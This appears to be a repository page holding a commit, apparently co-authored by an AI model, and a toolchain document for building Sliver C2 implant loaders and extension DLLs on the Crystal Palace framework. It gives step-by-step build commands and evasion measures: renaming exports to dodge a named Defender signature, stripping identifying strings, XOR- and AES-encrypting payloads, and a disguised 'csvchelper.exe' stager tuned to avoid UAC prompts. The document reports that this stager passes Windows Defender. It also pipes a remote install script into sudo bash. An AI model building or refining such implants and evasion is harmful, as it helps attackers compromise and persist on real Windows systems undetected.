Files
Simone Licitra 53db225f03 docs: update for Initialize export, evasion fixes, and in-memory loading model
- TOOLCHAIN.md §3c: crystal-loader now ~42 KB, exports Initialize, RW→RX,
  -s + --gc-sections flags, no identifying strings
- TOOLCHAIN.md §3d: crystal-exec now ~75 KB, gen_pico_header.py replaces xxd,
  XOR-encrypted embedded PICO, same evasion properties as §3c
- RUNBOOK.md §1.1: correct DLL sizes (42/75 KB)
- RUNBOOK.md §3: add Defender surface note — DLLs load in-memory via Sliver,
  PICO file from upload IS on disk and visible to scanner
- RUNBOOK.md §4: note crystal-exec DLL is in-memory, PICO XOR-encrypted at build
- README.md: fix RWX→RW+RX description, update verified table sizes/export,
  fix default-jdk → openjdk-17-jdk in quick build

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-12 09:35:19 -04:00

13 KiB

Toolchain & Build Pipeline

Build prerequisites, verified versions, and the actual pipeline used to produce PICO blobs and the Sliver Extension DLL.

Anything marked verified was tested locally on macOS Apple Silicon with the listed versions. Linux equivalents (Debian/Ubuntu/Kali) should behave identically.

1. Required tools

Tool Tested version Purpose Install (Debian/Kali) Install (macOS)
x86_64-w64-mingw32-gcc MinGW-w64 GCC 15.2.0 Cross-compile C sources to Windows x64 objects apt install mingw-w64 brew install mingw-w64
nasm 3.01 Assemble draugr.asmdraugr.x64.bin apt install nasm brew install nasm
java (JRE) OpenJDK 17 (exactly) Execute crystalpalace.jar linker apt install openjdk-17-jdk brew install openjdk@17
make GNU Make ≥ 4 Build orchestration preinstalled preinstalled
xxd any Embed PICO as C byte array (crystal-exec step 3) apt install xxd preinstalled
openssl any AES-256-CBC encrypt PICO for stager delivery (gen_payload.py) apt install openssl preinstalled
python3 ≥ 3.8 Drive stager key generation (gen_payload.py) preinstalled preinstalled
zip any Pack operator drop bundle apt install zip preinstalled
curl any Download Crystal Palace dist preinstalled preinstalled

2. External dependencies (not in the repo)

Artifact Source License How to obtain
crystalpalace.jar + link wrapper https://tradecraftgarden.org/download/cpdist-latest.tgz BSD-3-Clause, © 2025 Raphael Mudge / AFF-WG curl -fsSL + tar -xz (see §5)
libtcg.x64.zip Upstream Crystal-Kit repo Upstream binary, license unstated (likely derived from QEMU TCG → LGPL/GPL) git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit then copy
Sliver server/client https://sliver.sh GPLv3 curl https://sliver.sh/install | sudo bash

libtcg.x64.zip is required at build time because postex-loader/loader.spec and loader/loader.spec both contain mergelib "../libtcg.x64.zip". The file goes at the same level as loader/ and postex-loader/ (i.e. inside crystal-kit-sliver/).

3. Verified build pipeline

3a. Object compilation (per loader)

From crystal-kit-sliver/loader/Makefile and crystal-kit-sliver/postex-loader/Makefile:

CC_64=x86_64-w64-mingw32-gcc
NASM=nasm

$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c   -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c     -o bin/pico.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c    -o bin/hooks.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c    -o bin/spoof.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c      -o bin/cfg.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c  -o bin/cleanup.x64.o
# loader/ only:
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c     -o bin/mask.x64.o
$(NASM) src/draugr.asm -o bin/draugr.x64.bin

Verified outputs:

  • loader/bin/ → 8 .o + 1 .bin
  • postex-loader/bin/ → 7 .o + 1 .bin (no mask.c)

The upstream Aggressor Script invokes the jar via Java reflection. The bundled link wrapper exposes a positional CLI:

./link <loader.spec> <file.dll|file.o> <out.bin> [A=hex] [%KEY=value] [@config.spec]

Variables relevant for our specs:

Variable Type Used in Purpose
%ARGFILE string (path) postex-loader/loader.spec File whose contents become the embedded dll_args section read by DllMain

Example invocation:

./link \
    crystal-kit-sliver/postex-loader/loader.spec \
    /path/to/postex.dll \
    /path/to/out.bin \
    %ARGFILE=/path/to/args.txt

Verified outputs (sizes from local builds):

  • Use case A (loader/loader.spec over a Windows DLL) → 117561 bytes PICO
  • Use case B (postex-loader/loader.spec over a Windows DLL) → 111741 bytes PICO

3c. Sliver Extension wrapper DLL (crystal command)

crystal-kit-sliver/sliver-glue/wrapper/Makefile:

CC_64 := x86_64-w64-mingw32-gcc
CFLAGS := -Wall -Os -DBUILD_DLL -ffunction-sections -fdata-sections
LDFLAGS := -shared -Wl,--subsystem,windows -s -Wl,--gc-sections

# Produces ../crystal-loader.x64.dll
$(CC_64) $(CFLAGS) crystal-loader.c beacon_compatibility.c -o ../crystal-loader.x64.dll $(LDFLAGS)

Key evasion properties:

  • Exports Initialize (not go — the go export name is the primary Win64/MeterBof.A static signature)
  • No [crystal-loader] / PICO / tool-identifying strings in .rdata
  • VirtualAlloc(RW) + VirtualProtect(RX) — no PAGE_EXECUTE_READWRITE mapping ever held
  • -s strips all symbol table entries; --gc-sections removes dead code

Verified output: ~42 KB, PE32+ x86-64, exports symbol Initialize.

A smoke test shellcode (smoketest.asm) builds in parallel:

nasm -f bin smoketest.asm -o ../build/smoketest.bin
# → 3 bytes: 31 c0 c3  (xor eax,eax; ret)

3d. crystal-exec — embedded PICO command executor (crystal-exec command)

4-step pipeline under crystal-kit-sliver/sliver-glue/crystal-exec/Makefile:

Step 1: crystalexec.c → crystalexec.dll
  x86_64-w64-mingw32-gcc -Wall -Os -DBUILD_DLL -shared -Wl,--subsystem,windows \
      -o crystalexec.dll crystalexec.c
  NOTE: must be CRT-free (kernel32-only imports). Crystal Palace's manual loader
  resolves imports from the DLL's IAT; msvcrt.dll functions like strtoull/snprintf
  may not resolve correctly in the PICO context and will crash silently.

Step 2: crystalexec.dll → crystalexec.pico.bin  (Crystal Palace wrap)
  ../generate.sh crystalexec.dll "" crystalexec.pico.bin

Step 3: crystalexec.pico.bin → crystalexec_pico.h  (XOR-encrypt + embed as C array)
  python3 gen_pico_header.py crystalexec.pico.bin crystalexec_pico.h
  Fresh random 256-byte key every build — Crystal Palace byte patterns in .data
  are obfuscated; outputs crystalexec_pico[] + crystalexec_pico_key[] arrays.

Step 4: crystal-exec.c + crystalexec_pico.h → ../crystal-exec.x64.dll
  x86_64-w64-mingw32-gcc -Wall -Os -DBUILD_DLL -ffunction-sections -fdata-sections \
      -shared -Wl,--subsystem,windows -s -Wl,--gc-sections \
      -o ../crystal-exec.x64.dll crystal-exec.c

Key design constraints:

  • crystalexec.c must import only from kernel32.dll — no msvcrt.dll / CRT functions
  • Use custom string helpers (hex_parse, str_append) instead of strtoull, strtol, snprintf
  • crystal-exec.c (the Sliver extension itself) may use CRT normally — it runs in the normal process context, not inside the PICO loader
  • Single callback model: all output accumulates into a heap buffer; exactly ONE callback(buf, len) call at the very end. Sliver extension loaders only display the first callback invocation — any subsequent calls are silently dropped.
  • Exports Initialize (not go); no [crystal-exec] / PICO strings in binary; XOR-decrypt embedded PICO at runtime into VirtualAlloc(RW), then VirtualProtect(RX) — no PAGE_EXECUTE_READWRITE ever held.

Verified output: crystal-exec.x64.dll — ~75 KB, PE32+ x86-64, exports symbol Initialize.

3e. Custom stager — two-file delivery (Use case A Defender bypass)

Located at crystal-kit-sliver/sliver-glue/stager/.

3-step pipeline under crystal-kit-sliver/sliver-glue/stager/Makefile:

Step 1: AES-256-CBC encrypt PICO → payload.dat + C key header  (gen_payload.py)
  python3 gen_payload.py <pico.bin> <payload.dat> payload_key.h
  Uses openssl(1) for AES encryption. Fresh random key + IV every run.
  Outputs:
    payload.dat      — opaque AES ciphertext, no PE patterns (deliver alongside stager)
    payload_key.h    — key[] + iv[] C arrays compiled into the stager EXE

Step 2: compile version info resource + manifest
  x86_64-w64-mingw32-windres resource.rc -o resource.o
  resource.rc embeds manifest.xml (ID 1 / RT_MANIFEST) declaring requestedExecutionLevel
  asInvoker — suppresses UAC auto-elevation regardless of filename or description keywords.

Step 3: compile stager EXE
  x86_64-w64-mingw32-gcc -Wall -Os -mwindows -ffunction-sections -fdata-sections \
      -o csvchelper.exe stager.c resource.o -s -Wl,--gc-sections -ladvapi32 -lbcrypt

Key design properties:

  • stager.exe is ~17 KB with entropy ~4.8 — indistinguishable from a small utility
  • payload.dat is opaque AES ciphertext — no PE magic, no Crystal Palace byte patterns
  • IAT: ADVAPI32 (RegOpenKeyExW), bcrypt (BCryptDecrypt, BCryptGenRandom), KERNEL32 — no ntdll Nt* entries
  • VirtualAlloc(RW) + VirtualProtect(RX): no PAGE_EXECUTE_READWRITE mapping ever held
  • -s strips all symbol table entries — no function names appear in strings output
  • FileDescription in resource.rc must avoid UAC trigger words ("update", "install", "setup", "service"); the asInvoker manifest is the hard override but clean metadata reduces scanner surface

Invoke via bundle-stager.sh:

./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
    crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
    crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe  +  build/payload.dat

Verified output: csvchelper.exe 17 KB, entropy 4.784. No NtCreateSection / NtMapViewOfSection strings. Passes Windows Defender on Windows 10 x64 (tested against VirTool:Win64/ZomBytes.B and Trojan:Win32/Wacatac.B!ml signatures).

4. End-to-end timing on macOS Apple Silicon (reference)

Step Elapsed
apt/brew install mingw-w64 nasm openjdk@17 ~3 min
Download cpdist-latest.tgz (1.8 MB) ~5 s
make -C loader all ~2 s
make -C postex-loader all ~2 s
make -C sliver-glue/wrapper all ~3 s
make -C sliver-glue/crystal-exec all (4-step, includes Crystal Palace wrap) ~4 s
./link Crystal Palace run ~1 s
./bundle-implant.sh (zip) <1 s

5. One-time setup script (Kali / Debian / Ubuntu)

#!/usr/bin/env bash
set -e

# 1. Toolchain
sudo apt update
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl

# 2. Crystal Palace
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
   | tar -xz -C external/crystalpalace/
chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve}
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist

# 3. libtcg from upstream
git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit /tmp/ck
cp /tmp/ck/libtcg.x64.zip crystal-kit-sliver/
rm -rf /tmp/ck

# 4. Verify
x86_64-w64-mingw32-gcc --version | head -1
nasm --version
java -version
ls -la "$CRYSTAL_PALACE_HOME/crystalpalace.jar" crystal-kit-sliver/libtcg.x64.zip

echo "Setup OK. Now: cd crystal-kit-sliver && make -C loader all && make -C postex-loader all"

6. Required environment variables

Variable Required for Default behaviour
CRYSTAL_PALACE_HOME every script under sliver-glue/ that calls ./link scripts exit with error if unset
SLIVER_SERVER generate-implant.sh --profile mode only defaults to sliver-server in $PATH

7. Known toolchain gotchas

  • Java version: crystalpalace.jar requires Java 17. Java 21+ removes methods it depends on and throws Exception in thread "main" java.lang.NoSuchMethodError at any ./link or generate-implant.sh / crystal-exec make invocation. apt install default-jdk on current Kali/Debian/Ubuntu pulls Java 21 — always use apt install openjdk-17-jdk and verify with java -version. If you have multiple JDKs: sudo update-alternatives --set java /usr/lib/jvm/java-17-openjdk-amd64/bin/java.
  • macOS rosetta vs ARM64: brew installs native ARM binaries; the cross-compiled output is x86-64 Windows PE so this works regardless.
  • MinGW-w64 ≥ 13 introduces -fcf-protection defaults that can break PIC. The Makefiles pass -shared -Wno-pointer-arith, no extra hardening flags. If your distro pins a different MinGW build, verify with make first.
  • ./link and friends inside the Crystal Palace dist must be executable. The tarball usually preserves the bit, but after tar -xz some filesystems strip exec; fix with chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve}.
  • libtcg.x64.zip must be located at crystal-kit-sliver/libtcg.x64.zip (sibling of loader/). The spec files reference it as ../libtcg.x64.zip.

8. Compiler flags rationale

The -Wno-pointer-arith flag is required because Crystal-Kit's loader code performs pointer arithmetic on void* (a GNU extension that GCC warns about by default but does not break).

The -shared flag instructs the compiler to emit relocatable code suitable for being merged by Crystal Palace into a single position-independent blob. This does NOT produce a Windows DLL on its own — the actual .o outputs are intermediate.

-DWIN_X64 is consumed by loader.h to conditionally select 64-bit-specific struct layouts and macros.